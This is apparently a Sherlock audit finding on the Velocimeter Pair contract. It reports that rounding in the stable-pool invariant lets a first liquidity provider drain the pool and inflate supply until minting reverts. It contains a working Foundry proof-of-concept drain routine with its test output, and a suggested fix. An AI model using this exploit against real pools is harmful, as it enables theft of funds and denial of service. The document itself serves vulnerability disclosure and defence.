Delightful Lavender Goose

High

# First liquidity provider can DOS the pool of a stable pair

## Summary
Rounding errors in the calculation of the invariant `k` can result in zero value for stable pools, allowing malicious actors to DOS the pool.

## Vulnerability Detail
In the `Pair` contract, the invariant `k` of a stable pool is calculated as follows:

```solidity
function _k(uint256 x, uint256 y) internal view returns (uint256) {
    if (stable) {
        uint256 _x = (x * 1e18) / decimals0;
        uint256 _y = (y * 1e18) / decimals1;
@>>     uint256 _a = (_x * _y) / 1e18;
        uint256 _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
        return (_a * _b) / 1e18; // x3y+y3x >= k
    } else {
        return x * y; // xy >= k
    }
}
```

The value of `_a = (x * y) / 1e18` becomes zero due to rounding errors when `x * y < 1e18`. This rounding error can result in the invariant `k` of stable pools equaling zero, allowing a trader to steal the remaining assets in the pool. A malicious first liquidity provider can DOS the pair by:

1. Minting a small amount of liquidity to the pool.
2. Stealing the remaining assets in the pool.
3. Repeating steps 1 and 2 until the `total supply overflows`.

To prevent rounding errors, the reserve of a pool should never be too small. The mint function, borrowed from Uniswap V2, includes a minimum liquidity check of `sqrt(a * b) > MINIMUM_LIQUIDITY`. However, this check is not sufficient to protect the invariant formula of stable pools.

## POC

```solidity
    function drainPair(Pair pair_, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.transfer(address(pair_), 1);
        uint amount0;
        uint amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        pair_.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(pair_), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount0 = 0;
        }
        pair_.swap(amount0, amount1, address(this), new bytes(0));
    }
    
    function testDestroyPair() public {
        deployPairCoins();
        deployVoter();
        deal(address(DAI), address(this), 100 ether);
        deal(address(FRAX), address(this), 100 ether);

        Pair pair_ = Pair(factory.createPair(address(DAI), address(FRAX), true));
        for(uint i = 0; i <= 10; i++) {
            DAI.transfer(address(pair_), 10_000_000);
            FRAX.transfer(address(pair_), 10_000_000);
            // as long as 10_000_000^2 < 1e18
            uint liquidity = pair_.mint(address(this));
            console.log("liquidity: ", liquidity);
            console.log("total liq: ", pair_.balanceOf(address(this)));
            drainPair(pair_, FRAX.balanceOf(address(pair_)) , DAI.balanceOf(address(pair_)));
        }
        DAI.transfer(address(pair_), 10_000_000);
        FRAX.transfer(address(pair_), 10_000_000);
        vm.expectRevert();
        pair_.mint(address(this));
    }
```
Result: 
```solidity
[PASS] testDestroyPair() (gas: 38603583)
Logs:
  liquidity:  9999000
  total liq:  9999000
  -------------------------------
  liquidity:  50000000000000
  total liq:  50000009999000
  -------------------------------
  liquidity:  250000050000000000000
  total liq:  250000100000009999000
  -------------------------------
  liquidity:  1250000500000050000000000000
  total liq:  1250000750000150000009999000
  -------------------------------
  liquidity:  6250003750000750000050000000000000
  total liq:  6250005000001500000200000009999000
  -------------------------------
  liquidity:  31250025000007500001000000050000000000000
  total liq:  31250031250012500002500000250000009999000
  -------------------------------
  liquidity:  156250156250062500012500001250000050000000000000
  total liq:  156250187500093750025000003750000300000009999000
  -------------------------------
  liquidity:  781250937500468750125000018750001500000050000000000000
  total liq:  781251093750656250218750043750005250000350000009999000
  -------------------------------
  liquidity:  3906255468753281251093750218750026250001750000050000000000000
  total liq:  3906256250004375001750000437500070000007000000400000009999000
  -------------------------------
  liquidity:  19531281250021875008750002187500350000035000002000000050000000000000
  total liq:  19531285156278125013125003937500787500105000009000000450000009999000
  -------------------------------
  liquidity:  97656425781390625065625019687503937500525000045000002250000050000000000000
  total liq:  97656445312675781343750032812507875001312500150000011250000500000009999000
  -------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.00ms (7.86ms CPU time)
```
## Impact
Pool will be DOSsed for other users to use.

## Code Snippet
```solidity
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
@>          liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
        require(liquidity > 0, 'ILM'); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
    
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
    
```
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L259
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413

## Tool used

Manual Review

## Recommendation
```diff
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
        liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+           if (stable) { require(_k(_amount0, _amount1) > MINIMUM_K; }
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
        require(liquidity > 0, 'ILM'); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```
